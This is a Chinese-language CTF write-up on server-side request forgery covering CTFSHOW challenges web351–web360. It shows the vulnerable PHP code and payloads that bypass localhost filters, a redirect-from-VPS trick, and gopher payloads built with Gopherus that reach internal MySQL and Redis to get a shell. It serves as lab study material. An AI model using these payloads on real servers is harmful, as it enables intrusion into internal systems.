SSRF漏洞利用

文章发布时间:

最后更新时间:

文章总字数:
2k

预计阅读时间:
8 分钟

SSRF漏洞利用

漏洞成因及利用

  • SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

  • SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
    主要攻击方式如下所示。

    • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
    • 攻击运行在内网或本地的应用程序
    • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
    • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(利用gopher协议,比如struts2、SQli,redis等)。
    • 利用file协议读取本地文件等。
  • 漏洞产生相关函数:

    1
    file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
  • ssrf漏洞的判断:

    直接看相关函数或者浏览器f12查看源代码看是否是在本地进行了请求

    比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

  • file:在有回显的情况下,利用 file 协议可以读取任意内容

    dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

    gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell(利用structs2漏洞)

    http/s:探测内网主机存活

具体的利用方式可以看下面的靶场。其实ssrf在现阶段很少单独直接起作用,更多是结合其他一起使用,也许以后要打内网的时候会用的更多。

CTFSHOW SSRF

web351

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);//执行 cURL 会话
curl_close($ch);//关闭 cURL 会话
echo ($result);
?>

url用内网的127.0.0.1

payload:url=127.0.0.1/flag.php

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);//解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/',$url))
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

知识点是可以将ip中的某段用十六进制或者八进制表示,并不影响访问

loopback(本地环回即127.0.0.1/8)只有本机自己可以访问,而0.0.0.0代表在局域网内的所有主机包括自己都可以访问,在这题中只需要知道两种都可以访问到本机即可。

payload:

1
2
3
4
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

web353

1
preg_match('/localhost|127\.0\.|\。/i', $url)

直接绕过

payload:

1
url=http://0/flag.php

web354

1
preg_match('/localhost|1|0|。/i', $url)

强过滤,没法绕过,换方法

修改本地的host文件,将一个域名指向127.0.0.1,然后用该域名代替127.0.0.1,访问flag.php即可(顺便一提,在修改host的时候突然想起来之前smms无法访问图片,换了个dns解析就能访问了)。

image-20230728104941605

payload:http://www.sudo.cc/flag.php

ps:这个xmind突然让我想明白了之前那个xmind学习版激活的原理。

web355

1
2
3
strlen($host)<=5
payload:http://127.1/flag.php
//或者用上一题的方法,域名长度五位以内即可

web356

和上一题一样,长度限制变成3,用0代替0.0.0.0即可

web357

这题太牛了,网上题解没一个讲的清楚,还得是tel学长:php -S

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

新的ssrf危险函数file_get_contents出现,这个函数从用户指定的url获取内容,而我们知道这些题的目的都在与访问到http://127.0.0.1/flag.php,所以可以在自己的vps上面写一个ssrf.php,这个php被解析之后就会跳转到这个127.0.0.1,从而实现ssrf(使用header+location实现)

1
2
3
<?php
header("Location: http://127.0.0.1/flag.php");
?>

此时要注意,如果直接用file_get_contents获取这个php内容,并不能让这个php自动加载,他只是将php代码内容放到了注释里,我们需要用php -S开一个php的本地服务再获取就能自动加载。

image-20230728160617528

然后post过去http://ip:8080/ssrf1.php即可获得flag,注意这里的8080需要防火墙手动开启端口访问

web358

题目源码要求前有ctf后有show

这题还是考parse_url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
parse_url()  						 
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

Array
(
[scheme] => http
[host] => hostname //
[user] => username @前
[pass] => password @前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)

payload:http://ctf.@127.0.0.1/flag.php?show并不会影响正常解析

web359

新的知识点,利用gopher协议打mysql(无密码)

gopher协议

定义

先简单了解一些gopher:

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它

gopher协议格式:URL=gopher://<host>:<port>/<gopher-path>_后接TCP数据流

在使用gopher协议时在url后加入一个字符(该字符可随意写,一般使用_)

可以使用gopher方便地发送get和post请求。

gopher与SSRF

注意一个点,php接收参数的时候urldecode了一次,而curl_exec等发起url请求的函数又会再urldecode一次,所以我们需要将gopher传输数据进行二次URL编码。

可以使用gopher协议打以下这些内网服务,使用工具Gopherus,记得把payload真正要传输的数据进行二次url编码。

image-20230728175458663

这题打的是mysql:

image-20230728175545856

将payload下划线后的部分再url编码一次,通过网页的post数据post上去,访问1.php即可getshell。

web360

与上一题基本一致,这题打的是redis。

image-20230728175714517

默认的名字是shell.php,访问即可getshell。

参考链接:SSRF漏洞(原理、挖掘点、漏洞利用、修复建议) - Saint_Michael - 博客园 (cnblogs.com)

php如何启动内置web服务器_php启动web服务_s清晨的博客-CSDN博客

Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)